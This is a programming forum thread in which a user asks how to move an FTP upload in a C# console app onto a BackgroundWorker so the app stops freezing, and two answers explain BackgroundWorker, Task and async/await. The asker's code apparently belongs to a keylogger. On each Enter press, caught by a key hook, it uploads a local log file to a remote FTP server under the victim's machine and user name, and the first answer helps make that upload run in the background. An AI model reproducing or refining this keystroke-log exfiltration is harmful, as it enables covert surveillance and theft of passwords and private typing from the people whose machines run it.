Reputation: 72
I'm having trouble figuring out how to thread my FTP upload script. I'm trying to get it to upload from a C# console application. I dont like the fact that it freezes the app while it uploads. I've heard of using a "backgroundworker" but i have absolutely no idea how to set that up.. I've been searching for a while. Can you give me an example? Thanks.
if ((Keys)vkCode == Keys.Enter)
{
//~~~ Enter Key pressed ~~~ //
string ftpsrc = Application.StartupPath + @"/logs/log.txt";
FtpWebRequest request2 = (FtpWebRequest)WebRequest.Create("ftp://server.com" + System.Environment.MachineName + "___" + System.Environment.UserName + @"/" + "log.txt");
request2.Method = WebRequestMethods.Ftp.UploadFile;
request2.Credentials = new NetworkCredential("username", "password");
StreamReader sourceStream2 = new StreamReader(ftpsrc);
byte[] fileContents2 = Encoding.UTF8.GetBytes(sourceStream2.ReadToEnd());
sourceStream2.Close();
request2.ContentLength = fileContents2.Length;
Stream requestStream2 = request2.GetRequestStream();
requestStream2.Write(fileContents2, 0, fileContents2.Length);
requestStream2.Close();
FtpWebResponse response2 = (FtpWebResponse)request2.GetResponse();
response2.Close();
//~~~ End Enter Key ~~~//
}
Upvotes: 1
Views: 2331
Reputation: 1698
A very simple way of doing this would be to use something like a BackgroundWorker
which would give you access to things like progress events as well as control over the execution. This method would allow you to have the UI thread completely seperate from your logic of the FTP upload. Meaning your UI would be responsive no matter how long the upload took too complete.
Now multi-threading the actual upload is a different matter. If that is what you were after it will require breaking the message up into equal parts and having the parts reassembled on the FTP side, but that would mean writing a custom ftp server as well.
Take a look here for a full explanation on what the BackgroundWorker is and how to use it: http://msdn.microsoft.com/en-us/library/system.componentmodel.backgroundworker.aspx
EDIT::
Ok so to answer your question in the comments about how to setup the backgroundworker to execute on the enter key. Take a look at the above docs to get the gist of how to use a backgroundworker in general.
You would want to change your current key hook with the RunWorkerAsync()
method of the backgroundworker you setup. The DoWork
method of the BackgroundWorker should be what you currently have in your key hook.
BG.DoWork += YourUploadFunction();
if ((Keys)vkCode == Keys.Enter)
{
//~~~ Enter Key pressed ~~~ //
BG.RunWorkerAsync();
}
To initialize the BackgroundWorker
do this:
BackgroundWorker BG = new BackgroundWorker();
BG.DoWork += new DoWorkEventHandler(BG_DoWork);
The DoWorkEventHandler
allows a new handler to be made to control what function/s the BG will do. An example of this would be:
private void BG_DoWork(object sender, DoWorkEventArgs e)
{
YourUploadFunctions();
}
However you would want to do the initialization of the BackgroundWorker
only once so that you do not have multiple instances of it. Also once the DoWork event has been setup, it does not need to be done again.
`
Upvotes: 3
Reputation: 1598
BackgroundWorkers will work great for this, also another option is the Task class. You can read about it here Task Class . There is an example of how to implement it on the page. Also depending on what version of the .net framework you are coding with you could also look into Async and Await shown here async await.
Upvotes: 0